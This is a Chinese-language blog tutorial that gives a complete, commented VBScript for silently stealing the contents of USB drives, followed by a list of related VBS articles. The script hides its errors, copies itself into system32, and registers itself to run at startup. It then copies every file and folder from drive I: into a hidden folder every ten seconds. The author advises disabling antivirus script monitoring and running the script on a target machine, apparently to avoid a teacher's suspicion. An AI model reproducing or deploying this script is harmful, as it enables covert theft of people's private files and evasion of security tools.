利用VBS脚本轻松盗U盘数据
脚本应该具备以下功能：
1.开机自启动；
2.定时复制U盘所有文件及文件夹到指定位置；
3.无任何错误提示（很关键，如果不想找死的话）。
思路很简单，接下来就是脚本的具体内容了，我在每行脚本后都加了注释，但愿比我还菜的人也能看懂
代码如下:
On Error Resume Next ‘忽略异常，否则可能会有错误提示框
Set fso=CreateObject("Scripting.FileSystemObject") ‘创建fso
dim n
Set n=CreateObject("Wscript.Shell") ‘声明变量n
Set dir = fso.GetSpecialFolder(1) ‘读取system32文件夹路径
fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs") ‘读取自身文件名，并复制自己到system32文件夹，重命名为copy.vbs
dim r
Set r=CreateObject("Wscript.Shell") ‘声明变量r，用于读写注册表
r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ" ‘为脚本添加启动项
fso.CreateFolder("c:\windows\explorer") ‘创建文件夹，用来存放U盘文件
for i = 1 to 2
i = 1 ‘看出来了么，这是个死循环，变量i不可能到2，所以可以不断检查U盘并复制内容
fso.CopyFile "i:\*", "c:\windows\explorer\", True ‘复制I盘(U盘盘符)所有文件到指定文件夹
fso.CopyFolder "i:\*", "c:\windows\explorer\", True ‘复制I盘所有文件夹到指定文件夹
wscript.sleep 10000 ‘挂起10秒，此属性单位为毫秒
next
把上述内容存为kubau0.vbs，才几百字节。
提示一点，因为脚本内容有对注册表和文件的操作，所以执行时要把杀毒软件的网页或脚本之类的监控关掉，否则会不客气的弹出个对话框问你是否执行，如果引起老师怀疑的话……那你就节哀吧。
现在，只要在目标机上执行一次脚本（什么？没反应？当然不会有了！看看进程列表，如果有一个wscript.exe就说明已经执行成功了），脚本执行会停留在死循环里，每隔10秒复制一次文件到C:\windows\explorer\文件夹(间隔时间和目标文件夹均可自行设置)，重启后会自动执行，且不会有任何异常提示，毕竟安全才是最重要的嘛！这也是VBS的特点，一切悄无声息。
不过脚本也不是没有缺点，那就是在复制文件的时候U盘灯会狂闪不止，且机器运行速度会明显变慢，且无法通过安全删除硬件来停止U盘，不过好在老师们多是才鸟(才鸟？什么东西？有才的菜鸟？)，但是如果哪位高手能帮我解决，还请不吝赐教！
另外，别以为复制完就万事大吉了，最好定期删除没用的文件，否则目标文件夹会急剧膨胀，比如我们班，一星期下来就超了1G，很恐怖！
相关推荐
-
利用VBS脚本轻松盗U盘数据
脚本应该具备以下功能: 1.开机自启动: 2.定时复制U盘所有文件及文件夹到指定位置: 3.无任何错误提示(很关键,如果不想找死的话). 思路很简单,接下来就是脚本的具体内容了,我在每行脚本后都加了注释,但愿比我还菜的人也能看懂 复制代码 代码如下: On Error Resume Next '忽略异常,否则可能会有错误提示框 Set fso=CreateObject("Scripting.FileSystemObject") '创建fso dim n Set n=Create
-
利用python脚本提取Abaqus场输出数据的代码
笔者为科研界最后的摆烂王,目前利用python代码对Abaqus进行二次开发尚在学习中.欢迎各位摆烂的仁人志士们和我一起摆烂!ps:搞什么科研,如果不是被逼无奈,谁要搞科研! 该代码是学习过程中,对前人已有工作所做的稍加修改.为什么是稍加修改,是因为原代码跑不出来!!笔者在提取场输出的位移数据时,渴望偷懒,打算百度一下草草了事,奈何发现网上代码多半驴头不对马嘴,笔者明明是想提取位移,而不是节点和单元的集合!!所以被逼无奈之下,只好硬着头皮修改!欢迎各位大佬们把小弟代码更优化,然后也发给小弟,让小
-
利用VBS脚本修改联想笔记本BIOS密码的代码分享
这不科学!无意中找到的一些资料: vbs 代码: 复制代码 代码如下: strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\WMI") ' Obtain an instance of the the class ' using a key property value. Set objShare = objWMIS
-
利用vbs脚本实现设置IE的打印页眉页脚信息
将下面的内容保存成.vbs文件,然后双击执行,在打开ie页面,在页面中点击右键,看看菜单中多了个什么!!:) 复制代码 代码如下: option explicit dim hkey_root,hkey_path,hkey_key,filepath dim fs,fso,regwsh hkey_root="hkey_current_user" hkey_path="\software\microsoft\internet explorer" //先
-
利用VBS脚本自动创建计算机帐户的代码
mcse注:其实这是 按照ADSI(Active Directory Services Interface:活动目录服务接口)写的程序.如果你安装了resource kit,这段代码可以用netcom这条命令进行工作,下面是netcom的一个例子: NETDOM /Domain:MYDOMAIN /user:adminuser /password:apassword MEMBER MYCOMPUTER /ADD 复制代码 代码如下: *********************** '* Star
-
查看系统C盘剩余空间的VBS脚本
复制代码 代码如下: '说明 : 通过VBS脚本查看 系统C盘 剩下的空间 'Creator : Eric1991 'Date : 2013-11-4 Set objWMIService = GetObject("winmgmts:") Set objLogicalDisk = objWMIService.Get("Win32_LogicalDisk.DeviceID='c:'") Wscript.Echo cint(objLogicalDisk.FreeSpace
-
Vbs脚本经典教材(最全的资料还是MSDN)
-为什么要使用Vbs? 在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改名.删除,也许你每天启动计算机第一件事情就是打开WORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来--.这些事情重复.琐碎,使人容易疲劳. 第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,
-
利用VBS实现显示系统服务列表
复制代码 代码如下: '执行方法:直接双击vbs文件 或者 通过cmd.exe 下 cscript.exe "指定脚本的路径" '利用Vbs脚本实现 显示系统服务里表 'Creator : Eric1991 Date: 2013-11-1 0:25 strComputer = "." Set objWMIService = GetObject("winmgmts:" & "\\" & strComputer &
-
利用DOS命令来对抗U盘病毒保护U盘数据
U盘的便捷性与大容量的存储性,深受着广大用户的欢迎,几乎每个用户都会人手一个,但就是这么广泛的使用,以至于U盘被病毒悄悄盯上,越来越多的病毒通过电脑.通过文件毁坏重要的数据,为了保护好U盘的数据,灭除U盘病毒成为了用户们的首要任务,下面就教大家一个小技巧,利用DOS命令来对抗U盘病毒. 利用DOS命令删除U盘病毒的步骤: 1.点击"开始→运行",输入"CMD",按回车键 2.打开命令提示符窗口,切换到U盘所在盘符或是中了Autorun.inf病毒的盘符下,依次执行下
-
利用批处理文件和 vbs 脚本实现网站视频自动录制
利用批处理文件和 vbs 脚本实现网站视频自动录制 现在电视台基本上都有了自己的门户网站,我们可以充分利用网络的优势来扩大本地电视台的影响.事实上,将本地电视台的每日的王牌节目挂在网站上的做法已经成为建立电视台网站的必要组成步骤之一了.但随之而来的问题是:每天定时需要的手工录制过程,将给管理者带来极大的不便.在 windows 定时任务的基础上,将批处理程序与脚本程序有机的集合,就可以有效地解决这一问题. 1 :建立压码任务 我们将使用一台带有视频采集卡的电脑来完成压码过程.虽然压码不是本文的重